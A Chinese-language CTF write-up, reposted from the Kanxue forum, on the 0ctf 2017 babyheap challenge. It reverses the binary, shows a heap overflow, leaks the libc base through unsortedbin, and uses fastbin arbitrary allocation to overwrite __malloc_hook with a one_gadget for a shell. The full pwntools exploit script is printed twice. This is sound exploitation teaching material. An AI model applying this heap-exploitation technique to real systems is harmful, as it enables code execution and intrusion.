Pwn堆利用学习——Fastbin-Arbitrary Alloc——0ctf2017-babyheap
2021-07-03 18:59:00 Author: mp.weixin.qq.com(查看原文) 阅读量:153 收藏

本文为看雪论坛精华文章

看雪论坛作者ID:直木

Alloc to Stack在将chunk分配到栈上时需要栈上对应位置有合法的size,这样才能将堆内存分配到栈中,从而控制栈中的任意内存地址。而Arbitrary Alloc和Alloc to Stack基本上完全相同,但是控制的内存地址不再仅仅局限于栈,而是任意的内存地址,比如说bss、heap、data、stack等等。

0ctf_2017_babyheap

实验环境: 

OS:Ubuntu16.04 x64

libc:libc.2-23.so(md5:b0097c8a9284b03b412ff171c3d3c9cc)

Step 1  运行查看

Step 2  查看文件类型和保护机制

  • 64位程序
  • 保护全开
$ file 0ctf2017babyheap0ctf2017babyheap: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=9e5bfa980355d6158a76acacb7bda01f4e3fc1c2, stripped$ checksec --file=0ctf2017babyheapRELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  Symbols     FORTIFY Fortified   Fortifiable FILEFull RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   No Symbols    No    0       2       0ctf2017babyheap

Step 3  IDA反编译分析

a. main

为方便理解,根据菜单函数把switch里面的函数改名,然后根据函数内容及函数功能将相应的函数和变量改名:

sub_B70:initial,进行初始化,利用mmap分配空间,然后返回一个地址。这个空间用来存放结构体(这个结论我是在分析完两个函数——initial和add 之后得到的)。
sub_CF4:menu,打印菜单。
sub_138C:input_number,输入数字。
V4:babys结构体(既然题目是babyheap,我这里就把它命名为babys)。

b. main->initial

初始化,返回结构体初始地址:

c. main->Allocate

最多16个结构体,根据分析可得到结构体baby结构如下:
struct baby{  __int64 flag;  __int64 size;  char *content;}
当某个baby结构体的flag为false时,才会进行添加。
calloc与malloc的区别:calloc会设置分配的内存为0。
结构如下图所示,将每个baby对应的chunk命名为babychunk。

d. main->Fill

e. main->Fill->read_content

这个size可以随意大,存在堆溢出漏洞。

f. main->Free

g. main->Dump

h. main->Dump->write_content

i. 小结

漏洞点:
Fill函数调用read_content函数,这里的输入size是可以控制的,所以这里存在堆溢出漏洞
可输入的点:
  • 输入菜单选项;

  • Allocate和Fill需要输入size;
  • Fill输入baby chunk的内容。

大概思路:
用arbitrary alloc,将chunk分配到__malloc_hook附近,使得__malloc_hook在chunk的user data部分,那么通过Fill选项就能将其覆盖为rop链的地址了,最后再调用一个malloc就能执行rop链以getshell。
1. 泄漏libc基址,为了覆盖__malloc_hook为rop链的地址。
要覆盖__malloc_hook的内容,那么需要得到__malloc_hook的地址。因为它在libc中,所以需要知道libc的基址,又因为开启了aslr,所以libc的基址是变化的。
泄漏libc基址的方法就是通过unsortedbin。unsortedbin是一个双链表,里面如果只有一个chunk,那么chunk的fd和bk都指向unsortedbin链表头。链表头的地址为&main_arena+88,那么就可以计算出&main_arena,又因为&main_arena与libc基址的偏移是固定的,那么就可以计算出libc的基址。
泄漏的原理理清了,那么怎么泄漏?
(1)malloc一个smallbin chunk,然后free,它就会释放到unsortedbin中,那么它的fd和bk就会变成&main_arena+88。再通过Dump选项进行打印。于是,为了能够打印就需要有另一个baby结构体的content指针指向这个smallbin chunk。
(2)需要注意的一点就是在free smallbin chunk之前需要再malloc一个chunk,目的是防止smallbin chunk在free的时候和top chunk合并。
2. arbitrary alloc,分配chunk在__malloc_hook处。
需要绕过对size的检查,而__malloc_hook附近肯定会有0x7f的,通过错位,将0x7f当作伪造的chunk的size。
通过one_gadget获取rop链,然后通过Fill选项覆盖__malloc_hook,最后malloc以触发执行rop链来getshell。

    Step 4  调试分析

    a. 模板和选项函数

    from pwn import  *from LibcSearcher import LibcSearcherfrom sys import argv
    def ret2libc(leak, func, path=''): if path == '': libc = LibcSearcher(func, leak) base = leak - libc.dump(func) system = base + libc.dump('system') binsh = base + libc.dump('str_bin_sh') else: libc = ELF(path) base = leak - libc.sym[func] system = base + libc.sym['system'] binsh = base + libc.search('/bin/sh').next()
    return (base, system, binsh)
    s = lambda data :p.send(str(data))sa = lambda delim,data :p.sendafter(delim, str(data))sl = lambda data :p.sendline(str(data))sla = lambda delim,data :p.sendlineafter(delim, str(data))r = lambda num=4096 :p.recv(num)ru = lambda delims, drop=True :p.recvuntil(delims, drop)uu64 = lambda data :u64(data.ljust(8,'\0'))leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
    context.log_level = 'DEBUG'binary = './0ctf2017babyheap'context.binary = binaryelf = ELF(binary,checksec=False)#p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)p = process(binary)libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
    def dbg(): gdb.attach(p) pause()
    def allocate(size): ru('Command: ') sl('1') ru('Size: ') sl(str(size))
    def fill(idx, size, content): ru('Command: ') sl('2') ru('Index: ') sl(str(idx)) ru('Size: ') sl(str(size)) ru('Content: ') s(content)
    def free(idx): ru('Command: ') sl('3') ru('Index: ') sl(str(idx))
    def dump(idx): ru('Command: ') sl('4') ru('Index: ') sl(str(idx))
    p.interactive()

    b. leak libc

    完整的过程如下gif所示,每个步骤的变化都通过颜色改变来体现。

    (1)malloc 4个fastbin的chunk、1个smallbin的chunk,然后依次free babychunk2和babychunk1。

    于是,fastbin中变为了fastbin[0] -> babychunk1 -> babychunk2 <- 0x0,而babys结构体数组中baby1和baby2的flag和size都被置为0,content指针也被置为NULL。

    64位程序fastbin的chunk大小为0x20-0x80

    allocate(0x10)allocate(0x10)allocate(0x10)allocate(0x10)allocate(0x80) # small bin
    free(2)free(1)dbg()

    (2)分别往babychunk0和babychunk3填充数据。

    对于babychunk0,首先填充完它自己的user data部分,然后填充babychunk1使得babychunk1的fd指针的最后一字节变成0x80,也就是使得babychunk4取代babychunk2在fastbin里的位置。

    对于babychunk3,首先填充完它自己的user data部分,然后填充babychunk4,使得babychunk4的size变成0x20。
    payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)fill(0, len(payload), payload)payload = 0x10 * 'a' + p64(0) + p64(0x21)fill(3, len(payload), payload)dbg()

    (3)将之前置为空的两个baby结构体baby1和baby2重新填充数据,并分配两个0x10大小的babychunk。

    • baby1的content指针指向babychunk1;
    • 由于此时在fastbin中babychunk1后的是babychunk4,同时babychunk4的size也被修改为了0x10,所以baby2的content指针指向babychunk4。
    allocate(0x10)allocate(0x10) dbg()

    (4)溢出填充babychunk3,将babychunk4的size覆盖回0x90。

    payload = 0x10 * 'a' + p64(0) + p64(0x91)fill(3, len(payload), payload)dbg()

    (5)分配一个新的0x90大小的babychunk5,目的是为了防止紧接着free的babychunk4和top chunk合并。然后free babychunk4使得babychun4进入unsortedbin,此时babychunk4的fd和bk都指向(main_arena+88)。

    allocate(0x80) free(4)dbg()

    (6)利用dump选项泄漏babychunk4的fd(main_arena+88),计算libc基址。

    def offset_bin_main_arena(idx):    word_bytes = context.word_size / 8    offset = 4  # lock    offset += 4  # flags    offset += word_bytes * 10  # offset fastbin    offset += word_bytes * 2  # top,last_remainder    offset += idx * 2 * word_bytes  # idx    offset -= word_bytes * 2  # bin overlap    return offset
    dump(2)ru('Content: \n')unsortedbin_addr = u64(r(8))offset_unsortedbin_main_arena = offset_bin_main_arena(0)main_arena = unsortedbin_addr - offset_unsortedbin_main_arenaleak('main arena addr', main_arena)main_arena_offset = 0x3c4b20libc_base = main_arena - main_arena_offsetleak('libc base addr', libc_base)dbg()

    以前遇到要查看距离libc基址偏移的情况,我是和看雪-mb_uvhwamsn-babyheap一样用IDA去查看,但是从看雪-yichen115-babyheap看到一个计算main_arena距离libc偏移的工具:https://github.com/bash-c/main_arena_offset。

    c. Fasten attack - arbitrary alloc

    接下来是想办法将chunk分配到__malloc_hook附近,使得__malloc_hook在chunk的user data里,从而可以通过Fill选项将其修改为rop链的地址。

    (1)首先查看__malloc_hook附近的情况。

    如文章开头所说,arbitrary alloc需要在要分配chunk的地方提前有合适的size,因为从fastbin里malloc一个chunk的时候会检查这个chunk的size是否符合大小要求。可以看到__malloc_hook附近有一些0x7f,如果能够通过错位让0x7f变成 size 的话就能通过检查,对应的user data大小为0x60。

    根据chunk的size计算其在fastbin数组中index的宏如下所示:

    #define fastbin_index(sz) ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2) 那么,64位程序:0x7f/16-2=5。所以0x7f对应的fastbin单链表要求的size为0x70,user data部分的size为0x60。

    (2)在fastbin中准备一个0x70大小的chunk,以修改其fd。

    allocate(0x60)会重新启动baby4,并malloc一个0x70大小的chunk。malloc的时候会将unsortedbin里0x90大小的chunk分为两部分:0x70和0x20,然后将0x70大小的chunk分配给baby4的content指针。

    free(4)又会清空baby4并free刚刚malloc的0x70大小的chunk,但是由于0x70是fastbin的大小范围内,所以此时是将其放到fastbin中去了。

    allocate(0x60)free(4)dbg()

    此时各个部分的情况如下图所示:

    (3)确定要在__malloc_hook附近分配的chunk的地址:&main_arena-0x2b-0x8。

    (4)由于此时baby2的content指针还指向babychunk4(这个地址也是分割free之后放在fastbin里的chunk的地址),因此通过Fill(2)可往这个0x70大小的chunk的fd填充&main_arena-0x2b-0x8。然后再进行两次allocate(0x60),就可以将chunk分配到我们想要的&main_arena-0x2b-0x8。

    fake_chunk_addr = main_arena - 0x2bfake_chunk = p64(fake_chunk_addr)fill(2, len(fake_chunk), fake_chunk)
    allocate(0x60) allocate(0x60)dbg()

    (5)利用one_gadget工具找一个rop链。

    一段时间没用one_gadget,发现报错:( ,undefined method 'unpack1' ,解决方法:https://bbs.pediy.com/thread-265011.htm

    另:用ruby-install 安装ruby2.6时,总是报错,然后我用proxychains4走主机的代理进行安装,可还是报错,但是此时已经下载了相关文件,接着不走代理重新执行一遍安装命令就安装成功了。

    (6)将__malloc_hook修改为rop链,并触发__malloc_hook函数。

    one_gadget的地址需要一个一个试一下,当前环境是第二个地址成功了。

    one_gadget_addr = libc_base + 0x4527apayload = 0x13 * 'a' + p64(one_gadget_addr)fill(6, len(payload), payload)
    allocate(0x100)

    Step 5  完整Exp

    from pwn import  *from LibcSearcher import LibcSearcherfrom sys import argv
    def ret2libc(leak, func, path=''): if path == '': libc = LibcSearcher(func, leak) base = leak - libc.dump(func) system = base + libc.dump('system') binsh = base + libc.dump('str_bin_sh') else: libc = ELF(path) base = leak - libc.sym[func] system = base + libc.sym['system'] binsh = base + libc.search('/bin/sh').next()
    return (base, system, binsh)
    s = lambda data :p.send(str(data))sa = lambda delim,data :p.sendafter(delim, str(data))sl = lambda data :p.sendline(str(data))sla = lambda delim,data :p.sendlineafter(delim, str(data))r = lambda num=4096 :p.recv(num)ru = lambda delims, drop=True :p.recvuntil(delims, drop)uu64 = lambda data :u64(data.ljust(8,'\0'))leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
    context.log_level = 'DEBUG'binary = './0ctf2017babyheap'context.binary = binaryelf = ELF(binary,checksec=False)#p = remote('node3.buuoj.cn',29230) if argv[1]=='r' else process(binary)p = process(binary)libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)#libc = ELF('./glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',checksec=False)
    def dbg(): gdb.attach(p) pause()
    def allocate(size): ru('Command: ') sl('1') ru('Size: ') sl(str(size))
    def fill(idx, size, content): ru('Command: ') sl('2') ru('Index: ') sl(str(idx)) ru('Size: ') sl(str(size)) ru('Content: ') s(content)
    def free(idx): ru('Command: ') sl('3') ru('Index: ') sl(str(idx))
    def dump(idx): ru('Command: ') sl('4') ru('Index: ') sl(str(idx))
    def offset_bin_main_arena(idx): word_bytes = context.word_size / 8 offset = 4 # lock offset += 4 # flags offset += word_bytes * 10 # offset fastbin offset += word_bytes * 2 # top,last_remainder offset += idx * 2 * word_bytes # idx offset -= word_bytes * 2 # bin overlap return offset

    allocate(0x10)allocate(0x10)allocate(0x10)allocate(0x10)allocate(0x80) # small bin
    free(2)free(1)#dbg()
    payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)fill(0, len(payload), payload)payload = 0x10 * 'a' + p64(0) + p64(0x21)fill(3, len(payload), payload)#dbg()
    allocate(0x10)allocate(0x10) #dbg()
    payload = 0x10 * 'a' + p64(0) + p64(0x91)fill(3, len(payload), payload)#dbg()
    allocate(0x80) free(4)#dbg()
    dump(2)ru('Content: \n')unsortedbin_addr = u64(r(8))offset_unsortedbin_main_arena = offset_bin_main_arena(0)main_arena = unsortedbin_addr - offset_unsortedbin_main_arenaleak('main arena addr', main_arena)main_arena_offset = 0x3c4b20libc_base = main_arena - main_arena_offsetleak('libc base addr', libc_base)#dbg()
    allocate(0x60)free(4)#dbg()
    fake_chunk_addr = main_arena - 0x2b -0x8fake_chunk = p64(fake_chunk_addr)fill(2, len(fake_chunk), fake_chunk)allocate(0x60)#dbg()allocate(0x60)#dbg()one_gadget_addr = libc_base + 0x4527apayload = 0x13 * 'a' + p64(one_gadget_addr)fill(6, len(payload), payload)
    allocate(0x100)
    p.interactive()

    看雪ID:直木

    https://bbs.pediy.com/user-home-830671.htm

      *本文由看雪论坛 直木 原创,转载请注明来自看雪社区

    # 往期推荐

    公众号ID:ikanxue
    官方微博:看雪安全
    商务合作:[email protected]

    球分享

    球点赞

    球在看

    点击“阅读原文”,了解更多!


    文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458387398&idx=1&sn=113d6ef0158af9572046bf6849ea1460&chksm=b18f334c86f8ba5a6ef279e0d2f40061075530f925a532481cbb766083fcc3a8b7b540ec856a#rd
    如有侵权请联系:admin#unsafe.sh